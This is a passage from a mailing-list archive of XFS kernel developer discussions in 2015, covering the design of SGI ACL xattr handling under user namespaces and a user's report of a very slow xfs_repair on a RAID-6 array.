relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id DA44A7F37 for ; Tue, 27 Oct 2015 16:39:55 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 70A5AAC004 for ; Tue, 27 Oct 2015 14:39:55 -0700 (PDT) X-ASG-Debug-ID: 1445981992-04bdf0330acc0f0001-NocioJ Received: from mail-lf0-f54.google.com (mail-lf0-f54.google.com [209.85.215.54]) by cuda.sgi.com with ESMTP id VHdedAykNz4aC4S3 (version=TLSv1.2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128 verify=NO) for ; Tue, 27 Oct 2015 14:39:53 -0700 (PDT) X-Barracuda-Envelope-From: agruenba@redhat.com X-Barracuda-Apparent-Source-IP: 209.85.215.54 Received: by lffz202 with SMTP id z202so179425459lff.3 for ; Tue, 27 Oct 2015 14:39:51 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=redhat_com.20150623.gappssmtp.com; s=20150623; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :cc:content-type; bh=K3kIgCGEQAEMTn1JOSEjZSA9o6EFAkiX8RoFLQ+/L1s=; b=nlWslxEzSbh+pg1uNmFan7E4OW00Dx03neLUZYd9NHXLb30bnJOgVH+wVL/KxDkYra tWiKsV0cK+7CuAAsyb5j9JphBLWioIfxMOLTr5ScEosiOZBRYPUCEF2pW0zlaG356xAR N3OZJOQP7RR2K5Dfqyy+/XOe5ul/GW1EzBmdfSGFryg3GrMUYbgkrdWxiYPH5WhZE7Hk ufhR0MYdEOJrQMahCz+kIHLGEWU717yrkcjs+qFsVftPu9OU7p/UGV5NlxImq6HhFDDX 78Xn5sNbRcRdXr19QPaU6/WL5HLhwwX2LsZ9RPQdvoWupsV2zvMDT/badvtriM/W/Shu +2GQ== X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20130820; h=x-gm-message-state:mime-version:in-reply-to:references:date :message-id:subject:from:to:cc:content-type; bh=K3kIgCGEQAEMTn1JOSEjZSA9o6EFAkiX8RoFLQ+/L1s=; b=HtaQCv/TnGrLTkXGWFpb+AdMJkaLN1yZcN8iUCqelf98oYUSoIv4bs8fwCnYFXSk33 Q+DMjZxL4dhiQJEXJcfFJAc/QymVJd1IFoMuLdiEmPxrbOtEn+JgnfCCAS6t5ne7zToB YJJOMo7OAaImaE6iTHhW0KxCL5+avmxRvYYp8TimyFBz/mzdaogtCjRHeOmFAegcS9f1 h4kYFYuzI2/Jc9NBM/c9fsJNF1rOvzENXP/2WxUOS42cpxznstCQeryNQ1uMlYf55ocs OnAc65HZoTc46C7vpV+aS6mDJ5JEPf1dYiJIachIlX1c3dO0kxYKYfA0I78iUy/OFfNI 5w7w== X-Gm-Message-State: ALoCoQlzQipHFWUqrmvQ0uYNRa+ATN/lBE/BKCRODtRuJIrXDi/q/d6cgbUXwLqMOUxK/Jb0xSXU MIME-Version: 1.0 X-Received: by 10.25.41.134 with SMTP id p128mr13175438lfp.75.1445981991622; Tue, 27 Oct 2015 14:39:51 -0700 (PDT) Received: by 10.112.53.42 with HTTP; Tue, 27 Oct 2015 14:39:51 -0700 (PDT) In-Reply-To: <20151027201825.GO8773@dastard> References: <20151024125659.GA8095@bfoster.bfoster> <20151024152254.GA22232@bfoster.bfoster> <20151026213228.GI8773@dastard> <20151027053045.GL8773@dastard> <20151027201825.GO8773@dastard> Date: Tue, 27 Oct 2015 22:39:51 +0100 Message-ID: Subject: Re: Inconsistencies with trusted.SGI_ACL_{FILE,DEFAULT} From: Andreas Gruenbacher X-ASG-Orig-Subj: Re: Inconsistencies with trusted.SGI_ACL_{FILE,DEFAULT} To: Dave Chinner Cc: Brian Foster , xfs@oss.sgi.com Content-Type: text/plain; charset=UTF-8 X-Barracuda-Connect: mail-lf0-f54.google.com[209.85.215.54] X-Barracuda-Start-Time: 1445981992 X-Barracuda-Encrypted: ECDHE-RSA-AES128-GCM-SHA256 X-Barracuda-URL: https://192.48.157.11:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23872 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature On Tue, Oct 27, 2015 at 9:18 PM, Dave Chinner wrote: > Further, user namespaces are irrelevant here - you can't run > xfsdump/restore outside the init_ns. xfsdump requires access to the > handle interface, which is unsafe to use inside a user ns because it > allows complete access to any inode in the filesystem without > limitations. xfs_restore requires unfettered access to directly > manipulate the uid/gid/security attrs of inodes, which once again is > something that isn't allowed inside user namespaces. > > Setting Posix acls by directly poking the on-disk attr format rather > than going through the proper kernel ACL namespace is not a *general > purpose user interface*. Thi exists for backup/restore utilities to > do things like restore ACLs and security labels simply by treating > them as opaque xattrs. If a user sets ACLs using this low level > "opaque xattr" method, then they get to keep all the broken bits to > themselves. Any process capable of CAP_SYS_ADMIN can getxattr and setxattr those xattrs, it doesn't matter whether it's xfsdump/restore or something else. Some will mess with those attributes simply because listxattr lists them and so they will get and set them like all other attributes. Setting those attributes must not leave the system in an inconsistent state, independent of what xfsdump/restore happens to do with them. Thanks, Andreas From david@fromorbit.com Tue Oct 27 17:37:34 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 3F3897F37 for ; Tue, 27 Oct 2015 17:37:34 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 221758F8033 for ; Tue, 27 Oct 2015 15:37:31 -0700 (PDT) X-ASG-Debug-ID: 1445985446-04cbb0660fc1170001-NocioJ Received: from ipmail04.adl6.internode.on.net (ipmail04.adl6.internode.on.net [150.101.137.141]) by cuda.sgi.com with ESMTP id Waz8mL1tmgbwIDie for ; Tue, 27 Oct 2015 15:37:27 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.141 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: A2B9CQB8+y9WPBQPLHleKAGDDYFDglyDfqNABosphSSGCYYUAgIBAQKBR00BAQEBAQEHAQEBAUE/hDUBAQEDATocIwULCAMOCgklDwUlAwcaE4goB8VZAQEIAgEgGYYXhUWFDQeELgWWOI0cgWGHY48Gg3CCdB2Baio0hX0BAQE Received: from ppp121-44-15-20.lns20.syd4.internode.on.net (HELO dastard) ([121.44.15.20]) by ipmail04.adl6.internode.on.net with ESMTP; 28 Oct 2015 09:07:25 +1030 Received: from dave by dastard with local (Exim 4.80) (envelope-from ) id 1ZrCrs-00065d-NR; Wed, 28 Oct 2015 09:37:24 +1100 Date: Wed, 28 Oct 2015 09:37:24 +1100 From: Dave Chinner To: Andreas Gruenbacher Cc: Brian Foster , xfs@oss.sgi.com Subject: Re: [PATCH 3/4] xfs: SGI ACLs: Map uid/gid namespaces Message-ID: <20151027223724.GM19199@dastard> X-ASG-Orig-Subj: Re: [PATCH 3/4] xfs: SGI ACLs: Map uid/gid namespaces References: <1445721369-25679-1-git-send-email-agruenba@redhat.com> <1445721369-25679-4-git-send-email-agruenba@redhat.com> <20151026214651.GJ8773@dastard> <20151027195502.GN8773@dastard> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail04.adl6.internode.on.net[150.101.137.141] X-Barracuda-Start-Time: 1445985446 X-Barracuda-URL: https://192.48.176.25:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23874 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Tue, Oct 27, 2015 at 10:10:26PM +0100, Andreas Gruenbacher wrote: > On Tue, Oct 27, 2015 at 8:55 PM, Dave Chinner wrote: > > On Tue, Oct 27, 2015 at 04:55:22PM +0100, Andreas Gruenbacher wrote: > > But now that I've thought about this a bit more, I don't think that > > the changes you've made are correct - we shouldn't be doing uid/gid > > namespace conversion in disk formating functions. That is, the > > conversion of user/group types should be done at the incoming layers > > (i.e. at VFS/ioctl layers), not deep in the guts of the XFS code. > > There are two kinds of code paths where we need to convert between the > SGI_ACL and the kernel's in-memory representation (struct posix_acl > *): one is in the get_acl and set_acl iops, converting to/from the > actual on-disk attrbutes, and the actual IDs stay the same. The other > is in the get and set SGI_ACL xattr handlers which are invoked from > the getxattr and setxattr iops. The conversion there is to/from the > user-facing SGI_ACL xattrs, and ID mappings may be in effect. And then we have the ioctls XFS_IOC_ATTRLIST_BY_HANDLE and XFS_IOC_ATTRMULTI_BY_HANDLE which can directly access the ACL xattrs without even going through the the getxattr and setxattr iops. They go direct to xfs_attr_get/xfs_attr_set() and set/return the xattrs with *exactly* what the caller/on-disk xattr provides. IOWs, you've only addressed one possible vector for direct access to the SGI_ACL xattrs.... > The VFS doesn't know anything about the SGI_ACL attributes, so XFS > will have to do the ID mappings itself. We could convert the IDS > in-place in separate pre- / post-passes over the xattr value and leave > xfs_acl_from_disk and xfs_acl_to_disk alone. That's what the VFS does > for POSIX ACLs. The problem there is that the setxattr iop and set > xattr handler give us a const void * value; we cannot modify it > without casting const away. Hence the additional namespace parameter > to xfs_acl_from_disk and xfs_acl_to_disk instead. Yes, I read your patches - you take a low level disk formating function and make it also work as a high level conversion function through a different interface that has no higher level conversion interface. i.e. you're changing the user visible behaviour of writing a specific xattr. But I think it's also wrong: users are not supposed to manipulate SGI_ACL_FILE/SGI_ACL_DEFAULT xattrs directly. Just because root can see them doesn't mean users should be touching them - users should be using the kernel posix ACL interface/namespace to modify their ACLs. OTOH, xfsdump/restore require direct, unfiltered access to set uid/gid/mode/xattrs exactly as they are found. Changing that behaviour like your change does will break xfsdump/restore and breaking userspace is not a negotiable option. > > Why do you think we added the wrappers in the first place? It was > > because the ns maintainer refused to follow standard, self > > documenting type conversion naming conventions of _to_ > > so we added them ourselves. The user namespace code is horrible > > enough without adding confusing type change functions everywhere... > > Well, so far these functions were at least hiding the &init_user_ns > part, they didn't just introduce XFS specific names for generic > things. That was precisely the reason they were introduced - the higher levels should already be doing namespace conversions before anything gets to the filesystem disk formatting routines. Hence the &init_user_ns bullshit for getting a raw uid is just noise. > It would be sad if every subsystem introduced their own names > when they don't like the generic ones. It was a symptom of the much larger problem: the userns maintainer refusing or ignoring *all* requests to change anything or answer any questions about how things like dump/restore is supposed to work across user namespaces. Hence, for better or for worse, we were forced to make up our own rules on how dump/restore and mapped ids are supposed to interact.... Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Tue Oct 27 17:38:22 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 2A3677F37 for ; Tue, 27 Oct 2015 17:38:22 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 0B31530404E for ; Tue, 27 Oct 2015 15:38:19 -0700 (PDT) X-ASG-Debug-ID: 1445985495-04bdf03309cd9d0001-NocioJ Received: from ipmail04.adl6.internode.on.net (ipmail04.adl6.internode.on.net [150.101.137.141]) by cuda.sgi.com with ESMTP id deiApMy5B3GoKylz for ; Tue, 27 Oct 2015 15:38:15 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.141 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: A2B8CQB8+y9WPBQPLHleKAGDDYFDglyDfqNABosphSSGCYYUAgIBAQKBR00BAQEBAQEHAQEBAUE/hDYBAQQ6HCMQCAMOCgklDwUlAwcaE4gvxVkBCwEgGYYXhUWEIWwHhC4FljiNHI8ujQyCdB2Baio0hX0BAQE Received: from ppp121-44-15-20.lns20.syd4.internode.on.net (HELO dastard) ([121.44.15.20]) by ipmail04.adl6.internode.on.net with ESMTP; 28 Oct 2015 09:08:15 +1030 Received: from dave by dastard with local (Exim 4.80) (envelope-from ) id 1ZrCsg-00065o-DY; Wed, 28 Oct 2015 09:38:14 +1100 Date: Wed, 28 Oct 2015 09:38:14 +1100 From: Dave Chinner To: Andreas Gruenbacher Cc: Brian Foster , xfs@oss.sgi.com Subject: Re: Inconsistencies with trusted.SGI_ACL_{FILE,DEFAULT} Message-ID: <20151027223814.GN19199@dastard> X-ASG-Orig-Subj: Re: Inconsistencies with trusted.SGI_ACL_{FILE,DEFAULT} References: <20151024125659.GA8095@bfoster.bfoster> <20151024152254.GA22232@bfoster.bfoster> <20151026213228.GI8773@dastard> <20151027053045.GL8773@dastard> <20151027201825.GO8773@dastard> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail04.adl6.internode.on.net[150.101.137.141] X-Barracuda-Start-Time: 1445985495 X-Barracuda-URL: https://192.48.157.11:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23874 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Tue, Oct 27, 2015 at 10:39:51PM +0100, Andreas Gruenbacher wrote: > On Tue, Oct 27, 2015 at 9:18 PM, Dave Chinner wrote: > > Further, user namespaces are irrelevant here - you can't run > > xfsdump/restore outside the init_ns. xfsdump requires access to the > > handle interface, which is unsafe to use inside a user ns because it > > allows complete access to any inode in the filesystem without > > limitations. xfs_restore requires unfettered access to directly > > manipulate the uid/gid/security attrs of inodes, which once again is > > something that isn't allowed inside user namespaces. > > > > Setting Posix acls by directly poking the on-disk attr format rather > > than going through the proper kernel ACL namespace is not a *general > > purpose user interface*. Thi exists for backup/restore utilities to > > do things like restore ACLs and security labels simply by treating > > them as opaque xattrs. If a user sets ACLs using this low level > > "opaque xattr" method, then they get to keep all the broken bits to > > themselves. > > Any process capable of CAP_SYS_ADMIN can getxattr and setxattr those CAP_SYS_ADMIN = enough rope to hang yourself. Cheers, Dave. -- Dave Chinner david@fromorbit.com From mw@dermichi.com Tue Oct 27 17:51:46 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id D5D5E7F37 for ; Tue, 27 Oct 2015 17:51:45 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 5DBBEAC002 for ; Tue, 27 Oct 2015 15:51:41 -0700 (PDT) X-ASG-Debug-ID: 1445986298-04cb6c7b84bd630001-NocioJ Received: from firestarter.dermichi.com (firestarter.dermichi.com [194.177.153.153]) by cuda.sgi.com with ESMTP id nIaiyDOE0D7tOS5l (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Tue, 27 Oct 2015 15:51:39 -0700 (PDT) X-Barracuda-Envelope-From: mw@dermichi.com X-Barracuda-Apparent-Source-IP: 194.177.153.153 Received: from 191-159-177-194.static.net4you.net ([194.177.159.191] helo=[192.168.17.108]) by firestarter.dermichi.com with esmtpsa (TLSv1.2:ECDHE-RSA-AES128-GCM-SHA256:128) (Exim) (envelope-from ) id 1ZrD5d-0004a9-PW for xfs@oss.sgi.com; Tue, 27 Oct 2015 23:51:37 +0100 Subject: Re: Speeding up xfs_repair on filesystem with millions of inodes To: xfs@oss.sgi.com X-ASG-Orig-Subj: Re: Speeding up xfs_repair on filesystem with millions of inodes References: <562F699E.2050002@dermichi.com> <20151027193855.GM8773@dastard> From: Michael Weissenbacher X-Enigmail-Draft-Status: N1010 Message-ID: <562FFFF7.4010908@dermichi.com> Date: Tue, 27 Oct 2015 23:51:35 +0100 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101 Thunderbird/38.3.0 MIME-Version: 1.0 In-Reply-To: <20151027193855.GM8773@dastard> Content-Type: text/plain; charset=windows-1252 Content-Transfer-Encoding: 8bit X-Barracuda-Connect: firestarter.dermichi.com[194.177.153.153] X-Barracuda-Start-Time: 1445986299 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.176.15:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23875 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- Hi Dave! First of all, today i cancelled the running xfs_repair (CTRL-C) and upped the system RAM from 8GB to 16GB - the maximum possible with this hardware. Dave Chinner wrote: > It's waiting on inode IO to complete in memory reclaim. I'd say you > have a problem with lots of dirty inodes in memory and very slow > writeback due to using something like RAID5/6 (this can be > *seriously* slow as mentioned recently here: > http://oss.sgi.com/archives/xfs/2015-10/msg00560.html). Unfortunately, this is a rather slow RAID-6 setup with 7200RPM disks. However, before the power loss occurred it performed quite OK for our use case and without any hiccups. But some time after the power loss some "rm" commands hung and didn't proceed at all. There was no CPU usage and there was hardly any I/O on the file system. That's why I suspected some sort of corruption. Dave Chinner wrote: > Was it (xfs_repair) making progress, just burning CPU, or was it just hung? > Attaching the actual output of repair is also helpful, as are all > the things here: > ... The xfs_repair seemed to be making progress, albeit very very slowly. In iotop i saw about 99% I/O usage on kswapd0. Looking at the HDD LED's of the array, i could see that there was hardly any access to it at all (only once about every 10-15 seconds). I didn't include xfs_repair output, since it showed nothing unusual. ---snip--- Phase 1 - find and verify superblock... Phase 2 - using internal log - zero log... - scan filesystem freespace and inode maps... - found root inode chunk Phase 3 - for each AG... - scan and clear agi unlinked lists... - process known inodes and perform inode discovery... - agno = 0 ... - agno = 14 - process newly discovered inodes... Phase 4 - check for duplicate blocks... - setting up duplicate extent list... - check for inodes claiming duplicate blocks... - agno = 0 ... - agno = 14 Phase 5 - rebuild AG headers and trees... - reset superblock... Phase 6 - check inode connectivity... - resetting contents of realtime bitmap and summary inodes - traversing filesystem ... ---snip--- (and sitting there for about 72 hours) Dave Chinner wrote: > "-P" slows xfs_repair down greatly. Ok, I removed the "-P" option now. Dave Chinner wrote: > If repair is swapping, then adding more RAM and/or faster swap space > will help. There is nothing that you can tweak that changes the > runtime or behaviour of phase 6 - it is single threaded and requires > traversal of the entire filesystem directory heirarchy to find all > the disconnected inodes so they can be moved to lost+found. And it > does write inodes, so if you have a slow SATA RAID5/6... Ok, so if i understand you correctly, none of the parameters will help for phase 6? I know that RAID-6 has slow write characteristics. But in fact I didn't see any writes at all with iotop and iostat. Dave Chinner wrote: > > See above. Those numbers don't include reclaimable memory like the > buffer cache footprint, which is affected by bhash and concurrency.... > As said above, i did now double the RAM of the machine from 8GB to 16GB. Now I started xfs_repair again with the following options. I hope that the verbose output will help to understand better what's actually going on. # xfs_repair -m 8192 -vv /dev/sdb1 Besides, is it wise to limit the memory with "-m" to keep the system from swapping or should I be better using the defaults (which would use 75% of RAM)? Thank you very much for your insight, I will keep the list posted about any progress. Michael From agruenba@redhat.com Tue Oct 27 18:38:08 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id D9C5C7F37 for ; Tue, 27 Oct 2015 18:38:08 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id CADAC304053 for ; Tue, 27 Oct 2015 16:38:05 -0700 (PDT) X-ASG-Debug-ID: 1445989082-04cb6c7b84be220001-NocioJ Received: from mail-lf0-f52.google.com (mail-lf0-f52.google.com [209.85.215.52]) by cuda.sgi.com with ESMTP id UGbXLGA2xBvgC12W (version=TLSv1.2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128 verify=NO) for ; Tue, 27 Oct 2015 16:38:03 -0700 (PDT) X-Barracuda-Envelope-From: agruenba@redhat.com X-Barracuda-Apparent-Source-IP: 209.85.215.52 Received: by lfaz124 with SMTP id z124so180391902lfa.1 for ; Tue, 27 Oct 2015 16:38:01 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=redhat_com.20150623.gappssmtp.com; s=20150623; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :cc:content-type; bh=V3W6UlQcfp3CTZsQeu6Xa1/2O8cYe8ge5OQWzTMM6uI=; b=HuimyBGU9FtGDlnistlMwmwSwki/mBagVolVOTDfjpJtn3CzrQTlJOkjpjrhmZ8v3T A9NubNGlOH+NB/Ytej7q6s0UGz2sMdC8ocDnby2g9EaRMOfgJ0iHizpsVLgD8dCS8VXZ O2SoxjB8x+oeinmDUBeaZmu78/RH9JnQn9bpNc/HJE6/hrhbllwEFp+fdMwcFdd3/n64 qIbV+Ska5Z5jU7KkR70IjBPvRNPpzh4z/zhzHU489lDwtTDSnNgVKH/1fhdOLTsLuUMW yBFqboGpam3DOAdUBqS3bBeUKZ2Y2Ww54Hxf8ZgWpfYn28QCe5oCd5YYrlblTWHMsw5F oH9Q== X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20130820; h=x-gm-message-state:mime-version:in-reply-to:references:date :message-id:subject:from:to:cc:content-type; bh=V3W6UlQcfp3CTZsQeu6Xa1/2O8cYe8ge5OQWzTMM6uI=; b=W7HlnAd9icukoj8TqDS5JMtpnZnasCPOqOrDatqgN8QisItaTcdnJTNkHSSwwg2y2R hnfkhbvyp6pksoonMyr4k/lwfjPqjm7axdmnLUYLTpx9fS9CqMagu8WdchrjlrP1yqS/ 4ryfG8HTtxSBHkdUJaR2xvaHu2bT5G0nAShK2yNg+hweNp9ZS5ubjuCkPhaPTvSiPLym 9NQ0yL4Gc59hcIF2rQik0G4NFrOosdXdc3HtGSw+lI4L/VO24VMa0mBqVVrMU3yy0gsG 0HYE31mVe2375InRfrP02dN5yZ0d0Q/luxo1scjh1hGzJfirQ8Nt5E/ymjw2CC3LcmSz 0MNA== X-Gm-Message-State: ALoCoQmKatynfVcGUJlFNaBsBvyECWwe246Nn+fEs4xLIpe/X/td3LMgh8ti4JxTrX77M1IfmVuh MIME-Version: 1.0 X-Received: by 10.25.144.78 with SMTP id s75mr14514332lfd.116.1445989081413; Tue, 27 Oct 2015 16:38:01 -0700 (PDT) Received: by 10.112.53.42 with HTTP; Tue, 27 Oct 2015 16:38:01 -0700 (PDT) In-Reply-To: <20151027223724.GM19199@dastard> References: <1445721369-25679-1-git-send-email-agruenba@redhat.com> <1445721369-25679-4-git-send-email-agruenba@redhat.com> <20151026214651.GJ8773@dastard> <20151027195502.GN8773@dastard> <20151027223724.GM19199@dastard> Date: Wed, 28 Oct 2015 00:38:01 +0100 Message-ID: Subject: Re: [PATCH 3/4] xfs: SGI ACLs: Map uid/gid namespaces From: Andreas Gruenbacher X-ASG-Orig-Subj: Re: [PATCH 3/4] xfs: SGI ACLs: Map uid/gid namespaces To: Dave Chinner Cc: Brian Foster , xfs@oss.sgi.com Content-Type: text/plain; charset=UTF-8 X-Barracuda-Connect: mail-lf0-f52.google.com[209.85.215.52] X-Barracuda-Start-Time: 1445989082 X-Barracuda-Encrypted: ECDHE-RSA-AES128-GCM-SHA256 X-Barracuda-URL: https://192.48.176.15:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23876 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature On Tue, Oct 27, 2015 at 11:37 PM, Dave Chinner wrote: > On Tue, Oct 27, 2015 at 10:10:26PM +0100, Andreas Gruenbacher wrote: >> On Tue, Oct 27, 2015 at 8:55 PM, Dave Chinner wrote: >> > On Tue, Oct 27, 2015 at 04:55:22PM +0100, Andreas Gruenbacher wrote: >> > But now that I've thought about this a bit more, I don't think that >> > the changes you've made are correct - we shouldn't be doing uid/gid >> > namespace conversion in disk formating functions. That is, the >> > conversion of user/group types should be done at the incoming layers >> > (i.e. at VFS/ioctl layers), not deep in the guts of the XFS code. >> >> There are two kinds of code paths where we need to convert between the >> SGI_ACL and the kernel's in-memory representation (struct posix_acl >> *): one is in the get_acl and set_acl iops, converting to/from the >> actual on-disk attrbutes, and the actual IDs stay the same. The other >> is in the get and set SGI_ACL xattr handlers which are invoked from >> the getxattr and setxattr iops. The conversion there is to/from the >> user-facing SGI_ACL xattrs, and ID mappings may be in effect. > > And then we have the ioctls XFS_IOC_ATTRLIST_BY_HANDLE and > XFS_IOC_ATTRMULTI_BY_HANDLE which can directly access the ACL xattrs > without even going through the the getxattr and setxattr iops. They > go direct to xfs_attr_get/xfs_attr_set() and set/return the xattrs > with *exactly* what the caller/on-disk xattr provides. > > IOWs, you've only addressed one possible vector for direct access to > the SGI_ACL xattrs.... Ah, I've missed those ioctls. >> The VFS doesn't know anything about the SGI_ACL attributes, so XFS >> will have to do the ID mappings itself. We could convert the IDS >> in-place in separate pre- / post-passes over the xattr value and leave >> xfs_acl_from_disk and xfs_acl_to_disk alone. That's what the VFS does >> for POSIX ACLs. The problem there is that the setxattr iop and set >> xattr handler give us a const void * value; we cannot modify it >> without casting const away. Hence the additional namespace parameter >> to xfs_acl_from_disk and xfs_acl_to_disk instead. > > Yes, I read your patches - you take a low level disk formating > function and make it also work as a high level conversion function > through a different interface that has no higher level conversion > interface. i.e. you're changing the user visible behaviour of > writing a specific xattr. > > But I think it's also wrong: users are not supposed to manipulate > SGI_ACL_FILE/SGI_ACL_DEFAULT xattrs directly. Just because root can > see them doesn't mean users should be touching them - users should > be using the kernel posix ACL interface/namespace to modify their > ACLs. > > OTOH, xfsdump/restore require direct, unfiltered access to set > uid/gid/mode/xattrs exactly as they are found. Huh? First, do we even agree that setting the SGI_ACL attributes, through whatever interface, must not leave inode->i_acl or inode->i_default stale? Second, the system.posix_acl_access and trusted.SGI_ACL_FILE attributes both contain the Access ACL, which by definition also contains the file mode permission bits. When any of those two attributes is set, what sense would it make to not also set the file mode permission bits --- and to allow them to become inconsistent with the Acess ACL? Certainly none in the xfsdump/restore case because in the dump, the mode and Access ACL will agree, anyway. > Changing that behaviour like your change does will break xfsdump/restore I would be most surprised. Thanks, Andreas From david@fromorbit.com Tue Oct 27 19:17:55 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id BE6947F37 for ; Tue, 27 Oct 2015 19:17:55 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 50003AC002 for ; Tue, 27 Oct 2015 17:17:51 -0700 